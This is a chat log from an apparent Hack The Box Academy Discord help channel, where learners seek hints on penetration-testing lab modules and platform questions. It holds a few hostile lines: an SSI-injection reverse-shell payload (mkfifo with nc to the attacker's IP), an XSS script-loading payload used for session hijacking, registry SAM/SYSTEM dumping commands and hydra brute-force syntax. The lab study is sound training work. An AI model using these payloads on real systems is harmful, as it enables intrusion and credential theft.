idk what that means tbh 😭

fathom pendant
#

it means your Backup is missing some stuff

soft plume
#

ahh gotcha that's waht iT ohught

fathom pendant
#

delete your copy and redownload it

soft plume
#

kk

fathom pendant
#

it looks like yours is missing part of the partition table

soft plume
#

kk

#

thanks fior the help!

fathom pendant
#

np

#

(I also suggested this like an hour ago)

soft plume
#

yea Ik I saw that, but I wanted to try whyat you were saying first before I do that

fathom pendant
#

¯_(ツ)_/¯

#

imo it would have been the first thing I did

soft plume
#

true

fathom pendant
#

especially if you get hit with the good ole

nimble flint
#

Who’s familiar and or know about go high level

fathom pendant
#

well the question likely doesn't belong here

#

(genuinely read that)

#

asking to ask (or seeking an expert) type question in asynchronous communication channels just takes longer to get answered

nimble flint
#

But you just answered me wouldn’t you have saved me time by you know just not answering

fathom pendant
#

I'm literally explaining to you why asking to ask is dumb

#

and you still didn't ask your question ¯_(ツ)_/¯

nimble flint
#

You’re dumb

storm elk
#

Some people 🙄

devout torrent
livid pier
#

This new?

fathom pendant
#

Yes

#

It's very poorly implemented

#

Some QA was definitely missed out on

acoustic owl
livid pier
trail narwhal
#

Guys I’ve been doing the CRUDE API question still can’t figure out

#

It’s the question where I have to update a city name with “flag” and then delete a city, lastly search for a city “flag” to get the flag

shut quest
livid pier
#

Thats pretty cool

shut quest
#

Cool until you're spacing it, pasting in the wrong flag over and over again and then accidentally click the discord button. Then somone you're not expecting to reach out to you and you ignore the help request then realize that is what is was and you feel like an ass.

azure saffron
#

hey all im banging my head on SSI Injection Exploitation Example. I've got a netcat listener on port 9090, but nothing returns when i include the injection from the lesson, the page just loads forever. any help would be appreciated. the payload (used 10.x.x... IP): <!--#exec cmd="mkfifo /tmp/foo;nc <tun0 IP> 9090 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

azure saffron
#

nevermind. The lesson doesn't have much to do with getting the flag, there are otherways to get it.

trail shuttle
#

guys I'm stuck at Limited file uploads in the file upload attack module, i can't seem to find a method to read the source code of upload.php, any hints?

astral beacon
#

Hey,I not sure if I get it wrong.
The amount of cubes and module I completed is not match

cloud urchin
astral beacon
cloud urchin
#

on most modules you get back 20% of your cubes

astral beacon
#

Oh

#

I get it, thanks you

cloud urchin
#

if you go to the dashboard and look at the modules it also shows you the number of cubes you get for completing it

trail shuttle
astral beacon
# cloud urchin

But again it will stay the same amount because tier 0 is actually cost 10 cubes

cloud urchin
#

right

#

but most of the time you get 20% back from the total cost of the module once you complete it

astral beacon
#

I will complete current module and see it again

eager ledge
#

Hi, I have been doing the Password Attacks Lab -Hard. I have tried to bruteforce the mutated password list filtered by length >=10, hydra cracked for R* service. However, the password doesn't work when I try to connect to the service using the password. I have been running crackmapexec on another S* service. But it is taking too long.

cloud urchin
eager ledge
fathom pendant
#

rdp is indeed the foothold

#

i've heard crowbar is better for rdp than CME or hydra

fathom pendant
#

i'm looking at the pw in my notes: it's definitely less

eager ledge
fathom pendant
#

previous labs are independent in this instance (and most other instances)

#

basic rule of engagement: don't make assumptions

cloud urchin
#

the password attack module definitely misleads you in the length of the passwords

#

it says to enumerate the password policy, how important it is, then completely ignores it later

fathom pendant
eager ledge
#

I know. I had checked the forums and they had stated that the password policy is length >=10, to increase the speed. So, I thought it would apply here as well. Turns out I am wrong 😦

cloud urchin
#

it also says most passwords are x long and ignores that too

fathom pendant
#

¯_(ツ)_/¯

#

obv not stating the pw length but unless i have it copied wrong; it's definitely <10

eager ledge
#

Thanks. I will try again

trail shuttle
quick crane
#

1

valid rapids
#

if i subscribed to the htb academy can i get access to the premium in htb labs

fathom pendant
#

no

#

that's currently not a feature; but might be one in the future

#

given that they now do SSO

#

but atm still separate subscriptions and separate platforms

valid rapids
#

ok thx

astral beacon
#

Completed 9 tier 0 modules

fathom pendant
#

also make sure you fully complete a module and there's no sections or questions you missed

#

you should get a "finish and complete" button at the end

astral beacon
#

I'm pretty sure that I completely every section

fathom pendant
#

just go through and click the green button that says "Mark Complete & Next" at the end of each section

astral beacon
#

That can happen?

fathom pendant
#

?

astral beacon
#

You must made sure it said "finish and complete"?

fathom pendant
#

Ye

#

Sometimes you miss a question

coarse schooner
#

working on the file upload assessment and I've inspected the upload.php to determine the upload constraints. when I formulate my POST request I can print out the /etc/passwd, but when i try to filelist the root directory to find the flag name i just get a black reply. Any pointers to a kb online?

stuck pier
#

Pls is this the right place to ask questions relating to academy modules

fringe urchin
#

Yes

#

You add the section and module where you stuck.
You type your question
If there is some spoiler stuff with example names and password you can hide em like b**, ppl who did the section wkll know

pure jetty
#

thank you guys for your hard work, i have a question please

coarse schooner
pure jetty
#

have been trying to download LinEnum on target host using wget while python server is running on my host but it keep retrying is there a way out

#

am at Nibble privillege Escalation

fathom pendant
#

If so: the targets don't have internet access

pure jetty
fathom pendant
#

It's being autoformatted

#

Because of the space

pure jetty
#

while amd running python3 -m http.server 8080 in LinEnum dirctory

fathom pendant
#

Anyway: is linenum 1: spelled like that and 2: in the directory you started the http server from

#

Do you see the request come through?

pure jetty
fathom pendant
#

?

pure jetty
#

no

fathom pendant
#

Then you're likely not inputting your ip correctly

#

http://10.10.x.x:8080

#

Unless you're meaning to tell me you're literally typing "my ip"

coarse schooner
#

Can anyone give me a nudge for the file uploads skills assessment. I have be able to view the filtering logic in upload.php, and was subsequently able to download the /etc/passwd data, but for some reason a file listing through xxe doesn't work it just displays a blank output <svg></svg>.

fathom pendant
#

You might need to try something different

pure jetty
fathom pendant
#

That'll do it

pure jetty
#

Thank you guys

rustic sage
#

I just wanted to double check this, Attacking Common Services - Attacking FTP.

I've used the resource user and pws list files with medusa and got nothing, tried with hydra and got nothing
hydra -L <user list> -P <password list> target IP ftp -s <non standard port> -t1 -w10

Are we supposed to used the resource password list or rockyou

fathom pendant
#

Rockyou would take forever

rustic sage
#

Its silly how long its even suggesting haha

#

23907:19h

#

it's already taken ages to go through the whole user list from resources once, as it is

fathom pendant
rustic sage
#

yep

fathom pendant
#

Doesn't sound like it

rustic sage
#

didn't work, according to nmap results also thats not possible

fathom pendant
#

It should

rustic sage
#

ill try it again

fathom pendant
#

ftp ip port

#

If you don't specify, it defaults to standard (21)

rustic sage
#

sigh

#

Thatll do it

#

Thanks ML

#

i think my first attempt at that was not correct obviously

fathom pendant
#

You were trying to log into 21 anonymously

rustic sage
#

yep I think that would be why

fathom pendant
#

Which, yes, was not feasible

astral beacon
#

But even if it count,I only had a module that doesn't complete them

fathom pendant
#

But those you generally type "DONE" and submit

#

T0 modules will always give you the cubes back you spend

astral beacon
#

So I need to check and complete them

fathom pendant
#

T1 and above give 20%

astral beacon
#

So T0 doesn't actually increase cube?

#

I'm kind of lost again

nova idol
#

Can i enroll my university in htb or it must be done by one of the uni staff?

fathom pendant
astral beacon
fathom pendant
fathom pendant
#

Cost 10; reward 10

astral beacon
#

Then how I gonna increase more cube if I can't reach T1 in the first place lol

#

Sad

fathom pendant
#

Buy a subscription

fathom pendant
astral beacon
#

So I actually misunderstood all along

fathom pendant
#

As shown in that table: you spend x cubes you get y cubes upon completion

#

(And throughout the module in some cases)

astral beacon
#

Oh and one more question,but it may not related here

#

Where can I see info about discord role in this server?

fathom pendant
#

Wdym like "noob"?

#

It's tied to your htb labs rank

astral beacon
#

Yes, but also where can I see/read all role info?

timber hatch
#

in the modul windows priv escalation section Windows Built-in Groups, i have the flag, but understand something not in this section.
what can i do with after i did:
C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV

The operation completed successfully.

C:\htb> reg save HKLM\SAM SAM.SAV

The operation completed successfully.

gray merlin
timber hatch
#

ok, thanks that is what i thought..

#

but i find it bad expalined...

fathom pendant
astral beacon
#

Thanks you

white imp
#

the first section would be Interactive Section right?

#

so why does it say its incorrect?

fathom pendant
#

No

white imp
#

wdym?

fathom pendant
#

The first section is not, in-fact, interactive section

solid python
#

Look two up lmao

fathom pendant
#

Each module is broken down into pages/sections

#

Interactive sections isn't the first page of this module

solid python
#

Green check mark means you've completed that section

white imp
solid python
#

You've completed the first two sections

white imp
solid python
#

Whats the first section with the green check mark

#

lmao

fathom pendant
#

Because it seems like you know English, so you're just bad at reading

white imp
#

the Introduction

solid python
#

fathom pendant
#

Without "the"

white imp
#

but it was listed under table of contents

#

not under "Sections"

fathom pendant
#

Yes as the first section

solid python
#

Yeah, and the table of contents is a list of sections.

#

Every item on the right side there is a section.

fathom pendant
#

Go figure, the table of contents has all the sections

white imp
#

ohhh cuz i thought the list of cubes were subsections

solid python
#

Nope

white imp
#

im so stupid

solid python
#

Those just means completing that section gives cubes back

fathom pendant
#

Yes 🗿

white imp
#

goodbye

solid python
#

You're going to have a lot of moments in your life where you feel stupid

hexed ravine
#

@solid python can i Ask you something quick about the command injections module ? for the skill assessment ? i would be so happy 😄

solid python
#

those moments are the exact moments where you get smarter

white imp
hexed ravine
#

ok no problem 😄

solid python
fathom pendant
solid python
#

Being wrong is the first step to being right

white imp
fathom pendant
#

It can be

solid python
#

Its a little weird in academy and labs

#

they offer an "in browser" virtual machine called PwnBox

white imp
#

this is what i have on my screen

solid python
#

Yep, thats pwnbox

fathom pendant
#

The workstation is generally the pwnbox or your own vm

fathom pendant
#

Brother why do you still have internet explorer

solid python
#

I recommend using your own rather than the browser one, because the browser one is timed

white imp
#

so is PwnBox a Linux system

solid python
#

This is a windows 7 pc.

#

er

white imp
fathom pendant
white imp
#

and ik its dead

fathom pendant
#

Ah if it's a school system then you're definitely limited on what you can install

solid python
#

Did your school give you this PC? Do you own it or does the school?

white imp
#

and its a desktop pc so

solid python
#

Yeah you won't be able to install your own VM on it

white imp
#

but i could do it on my computer at home

#

does it work on MacBooks

fathom pendant
#

Imagine doing htb while in school

solid python
#

Virtualization in macbooks is possible but might require more involved configuring

white imp
fathom pendant
white imp
fathom pendant
#

UTM is paid

white imp
#

oh kak i have to go

#

my ride is here finally

fathom pendant
#

ParrotOS isn't updated to latest for MacBooks

#

5.3 ARM/UTM download

white imp
fathom pendant
#

But iirc you can update it to 6.0 after

white imp
#

guys i have a question thats gonna make me sound stupider

#

whats a bash terminal

fathom pendant
#

A terminal that runs bash

#

Like how powershell is its own terminal

#

A terminal is just a command line interface that is running an interpreter

loud dagger
#

is there anything you guys would recommend doing or learning between finishing infosec fundamentals and starting cpts?

fathom pendant
#

Practicing patience /gen

loud dagger
#

well there's already been plenty of that on this path and there will be even more in cpts

fathom pendant
#

Also be prepared to overthink a simple question because of wording

#

"Authenticate to" can mean many things

loud dagger
#

already do all the time

#

i think i'll finish the cisco networking course and probably start python between infosec fundamentals and cpts

fathom pendant
#

I would genuinely tell you to focus on one thing at a time

loud dagger
#

so don't finish the cisco networking course or don't do python and cpts at the same time?

#

i'm not going to start the cisco networking course until i finish infosec fundamentals if that's what you thought i meant

pseudo birch
#

Im working on the XSS module and I've been trying to get a response on either Netcat or PHP server for Session Hijacking. I've set up the script.js and index.php as instructed in the module. I've been going through all the User Registration fields and I haven't been able to get a single response on my PHP or NC listeners. I've tried all the payloads <script src=http://MY_IP:PORT/script.js></script>, etc. I've gone through a handful of the PayloadForAllThings and nothing has been able to reach back. There is something I'm missing and I'm not seeing it for some reason. My script.js script is also the one provided by the module and I made the change for MY_IP:PORT.

rustic sage
fathom pendant
#

Those skills don't really correlate much

pseudo birch
fathom pendant
#

So you're spending tons of extra time splitting your brain function

loud dagger
fathom pendant
loud dagger
#

yeah i know and that's why i don't understand how making your own tools fits in besides learning how the tools work

wild storm
#

anyone help "PoC and Patching - Unexpected Input" in the "Parameter Logic Bugs" module?
It is more difficult than skill assessment for me...

fathom pendant
#

Cpts path also does a decent job at explaining the xoncepts

loud dagger
#

i guess i'll see what cpts has to say about python

fathom pendant
#

So you're not just dropped into here's a tool with no concepts

loud dagger
#

doesn't cpts have an intro to python module or is that a different path

fathom pendant
loud dagger
#

shit

fathom pendant
#

Cbbh is the coding one

loud dagger
#

cbbh has all the same modules as cpts and cdsa except for like 5

fathom pendant
#

Cbbh is the coding/web pentest cert

dim wolf
#

Introduction to Python 3 is not in the Bug Bounty Hunter job role path

fathom pendant
dim wolf
#

it honestly should be

loud dagger
#

oh intro to python is only in the intro to binex path

#

maybe i'll just do that module after i finish infosec fundamentals just to get a basic grasp on the fundamentals

fathom pendant
#

Python fundamentals aren't necessary for CPTS

#

You don't really do much full on coding

#

Just adjusting one liners

#

Or slapping a php in

dim wolf
#

yes, the classic nc tty upgrade

fathom pendant
#

Nice tty

#

Have you tried pty

dim wolf
#

😳

#

if python3 is there, it's pty time

fathom pendant
#

Stucko works for everything

loud dagger
#

and i mean yeah there isn't a lot of coding in pentesting but there's plenty of scripting

fathom pendant
#

Up to you

#

I just am suggesting not to learn it concurrently

loud dagger
#

fair enough

fathom pendant
#

Because nothing is gonna be reinforced

loud dagger
#

ok so i really want to learn python but if it's not necessary for cpts should i just learn it after i'm finished with cpts?

fathom pendant
#

Sure

#

Like I'm not saying you can't do it at the same time

#

I'm just saying your knowledge isn't gonna be continually reinforced through practice with it

loud dagger
#

that's fair

#

idk i guess i'll see how well i'm learning

pseudo kiln
#

This is what I do. As people mentioned coding requires lots of brain power, I dont really like splitting it with something else.

So Sunday I take a break from pentest study and dedicate it fully to building python projects.

haughty tree
#

Does value in this context mean the string "value" or does it mean any non-zero number?

drifting glacier
#

Hey All, I'm having a bit of trouble on question 3 of the "Skills Assessment - Using Web Proxies". I've managed to get a flag to show on multiple responses after using intruder to find the last value of the md5 value received from question 2. But the htb flag is not accepted. Does anyone happen to know what that question is actually looking for?

white imp
#

@next bronze

next bronze
#

it's right there

white imp
#

which icon is it?

next bronze
#

click on them to find out

white imp
#

I alr did lol

next bronze
#

it's the green one

white imp
#

Not one of them is labeled Bash Terminal 🗿

white imp
analog dock
#

Does one look like a terminal with a bash symbol?

white imp
#

I'm so dumb

analog dock
white imp
analog dock
#

Uhu

white imp
#

Oh now i see it

#

Appreciate it ma brotha

midnight shoal
#

Yo im new to this in gen, only did some HTML stuff for a course anyone know where to start and how i can get situated?

#

Im interested in learning a new skill

static roost
#

anyone for a nudge on question #3 NTLM Relay attacks skills assessment?

next bronze
dreamy yew
#

Module: Attacking Common Applications, Section: Attacking Tomcat, Question: i have planted a WAR payload and successfully got a reverse shell, however I am unable to locate the Find and submit the contents of tomcat_flag.txt** I have used ls -al, however I still could not find the flag. I will appreciate a nudge.

static roost
remote latch
#

imagine money

#

oooof

#

discord not loading all, someone already answered

white imp
remote latch
remote latch
remote latch
#

this shit must be jard

#

hard*

static roost
#

@remote latch yo I feel that but maybe you should talk to someone about that bruh

dreamy yew
white imp
static roost
remote latch
remote latch
#

@limber river will you be my mentor wolfie?

dire abyss
#

hashcat keeps hitting me with insufficient memory, is there a way to clear this or bypass?

next bronze
#

that's because it's running out of ram

#

don't use it in a vm

dire abyss
#

im using the attack linux host i was tasked with ssh'ing into

#

but i also tried to do it on my kali vm

#

both hit me with it

dim wolf
#

i run hashcat on my host machine

#

no issues so far

next bronze
#

yeah don't use a vm

dire abyss
#

tried "hashcat -m 5600 filename /usr/share/wordlists/rockyou.txt" ... i dont have another option but a vm unless i build a dedicated linux host

next bronze
#

use your current computer?

dim wolf
#

are you running your vm on a type 1 hypervisor?

#

you should just be able to download it to your computer

dire abyss
#

its running on vmware fusion

next bronze
#

then use that host machine

dire abyss
#

my mac?

#

i guess i could try that

dim wolf
fringe urchin
next bronze
#

you're doing it wrong

#

also why is there an emote named after you waitwhat

fringe urchin
#

Idk

next bronze
fringe urchin
#

I got them

#

Made by some people lol

next bronze
#

jk it's cool

#

good job

fringe urchin
#

SchainyWhelin dis amazjng

#

Ty i shall go and continue my cracking with hashcat on my vmpepecoffee

next bronze
#

from the dev

fringe urchin
#

Ooooh. And well

#

We all know lijux and gpus arent really friendskek

#

Well i giess time to switch. Till now i never had problems

next bronze
#

bro's never done big lists

fringe urchin
#

We had our own rig

#

susge who uses own computer for big lists

next bronze
shut quest
#

I use my VM for most all hashcat and john use. There's only been a couple of times I needed to use my host to move things along.

leaden bramble
#

Yo

fathom pendant
#

Ig your cpu is built different

shut quest
#

13gen i7 ¯_(ツ)_/¯

fathom pendant
#

But same. 10 year old cpu amd still trucking along

fringe urchin
#

@next bronze didnt nvidia recently hire the one resposible for the GPU open source for linux stuff?pepecoffee

#

So either we get support or they want to slow their project down

next bronze
#

mayhaps

fringe urchin
fierce mason
#

for the "credential hunting in linux" section of password attacks, is the hint required to solve the exercise

next bronze
fringe urchin
fathom pendant
#

Otherwise you're running a username and password list for likely an hour before it pops

gentle orbit
#

having the same prob rn after running the exe again still not getting them files as it's written in the module

dire abyss
#

i do "echo $DISPLAY" and there's nothing set

#

after some googling, people say to set $DISPLAY=:0

fathom pendant
dire abyss
fathom pendant
#

Also xfreerdp can't be run from an ssh session

cloud urchin
#

save yourself a headache and just make a tunnel to your main box, much easier to work off your own than the parrotbox

fathom pendant
#

You can rdp to the parrot host

#

¯_(ツ)_/¯

dire abyss
#

it did mention rdp in the paragraph, let me do that. I didnt know you couldnt do xfreerdp from ssh

fathom pendant
#

...

#

Ssh is a cli based connection

dire abyss
#

yup that worked, marcielee, you're always saving me from my self! i ❤️ u

solar zodiac
#

Hi everyone! I'm stuck on the exercise for php typejuggling auth bypass. Any help would be greatly appreciated 🙂

rustic harness
#

Were you ever able to find this? Having a ton of issues with it as well

#

Any nudges on CDSA SoC Analyst path "Yara and Sigma for Soc Analyst" Hunting Evil with Yara (Linux edition) " Study the following resource https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html to learn how WannaCry performs shadow volume deletion. Then, use yarascan when analyzing "/home/htb-student/MemoryDumps/compromised_system.raw" to identify the process responsible for deleting shadows. Enter the name of the process as your answer."
Adding any of the processes mentioned within the .yar dont change output for me at all. Pretty stumped on it atm

graceful mortar
fathom pendant
#

i haven't done this module; so I can't offer more guidance than that

glacial island
#

Guys i already found the high-risk vulnerabilities but i dont know how i find the flag, can someone help me?

#

Using web proxies Module-ZAP Scanner

fathom pendant
#

well you use the vulnerabilitie to find the flag

glacial island
#

Yeah, but how i keep looking for it after that, that my question

fathom pendant
#

so find a way to read/access the server root

high reef
#

I'm doing linux Priv esc and i found the correct version, how its not taking my input

rustic sage
#

how have you written it out? x.x.x?

high reef
#

like this 1.1.1, Python 1.1.1

rustic sage
#

Double check in the /usr/bin/python dir if you can

#

just to correlate

high reef
rustic harness
rustic sage
#

python3 --version will give you the latest version

high reef
#

i got the version already its just not taking my answer

fathom pendant
rustic sage
#

ah roger

fathom pendant
#

Is it asking for Python[version] or just [version]

high reef
#

Python Version

#

when i do a readlink i get the same version from what i saw before

fathom pendant
balmy tartan
#

has anyone done zephyr

fathom pendant
#

there are other ways to find version installed like via apt list

fathom pendant
balmy tartan
#

can't authenticate, i've reached out to some admins via dm but no help yet :/

glacial island
#

ty !

silver zenith
#

good night

balmy tartan
#

lol

fathom pendant
acoustic owl
wanton idol
#

i am doing Attacking Common Applications section Attacking Thick Client Applications, i cant seem to find the option to dump memory into file

#

i have clicked on the address then right click like the module says but it doesnt show the option for dump memory into file

fathom pendant
#

Run as admin maybe?

wanton idol
#

it is running as admin

fathom pendant
#

¯_(ツ)_/¯

coarse schooner
#

Working on the file uploads assessment. I managed to bypass the upload filters and have uploaded an image containing webshell. based on the details in upload.php, I have identified the file rename pattern and folder location of the file. The file upload in the form is successful, and then when i submit the overall form in theory the renamed file should be present in the folder but I am getting a 404 not found message instead. Can I confirm details with someone who has solved

cloud urchin
#

sure

coarse schooner
limber surge
#

anyone know how to run sqlplus command? i cant run in their sandbox environment. not sure how to get it running. Would need help for the module:( footprinting > oracle tns )

Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer.

nocturne lynx
#

Hello! Extreme beginner here trying to understand subnetting. (Apologies in advance as this is going to be a bit lengthy of a question.) Can someone help me understand why the networks between these two questions appears to be different?

**3. **Submit the broadcast address of the following CIDR: 10.200.20.0/27
**A: **10.200.20.31
**4. **Split the network 10.200.20.0/27 into 4 subnets and submit the network address of the 3rd subnet as the answer.
A: 10.200.20.16

My understanding: (Please correct errors in my logic)
For question 3, three host bits are already reserved indicated by the CIDR "/27" (27 % 8 = 3). This leaves 2^5=32 available hosts for IPs (with the first and last as network and broadcast addresses), so 10.200.20.0 clearly falls into the first subnet and broadcast address makes sense as 10.200.20.31. (As a bonus, this network should be able to hold 8 subnets all under the subnet mask of 255.255.255.192, each with their 30 available host IPs, right?)

For question 4, the network is exactly the same. I can't logic through how I got to the answer 10.200.20.16. My only guess is that I assumed that the subnet from 10.200.20.0 - 31 was being split into 4 additional subnets, which is the only way I can see 10.200.20.16 being the first address of the third subnet. But is this a thing?

Can you have subnets within subnets? What might I be misunderstanding?

solar zodiac
#

HI everyone! I'm having some trouble identifying the given hash type in the whitebox attacks skills assessment. Both Hashid and hashcat have been unable to render the correct type for the given hash/password. Could anyone provide a nudge? I'd be forever in your debt 🙂

wanton idol
#

i am doing Attacking Common Applications section Attacking Thick Client Applications, i cant seem to find the option to dump memory into file
i have clicked on the address then right click like the module says but it doesnt show the option for dump memory into file

wanton idol
#

figured it out

little bear
#

just popping back in--at the 95% marker, week 23 :3

#

Windows PrivEsc is so interesting

wanton idol
little bear
#

LOL

#

It took me like 2-5 days of pure repetition in reveng and debug. Can't believe this was part of fatty.

wanton idol
#

loll it was a pain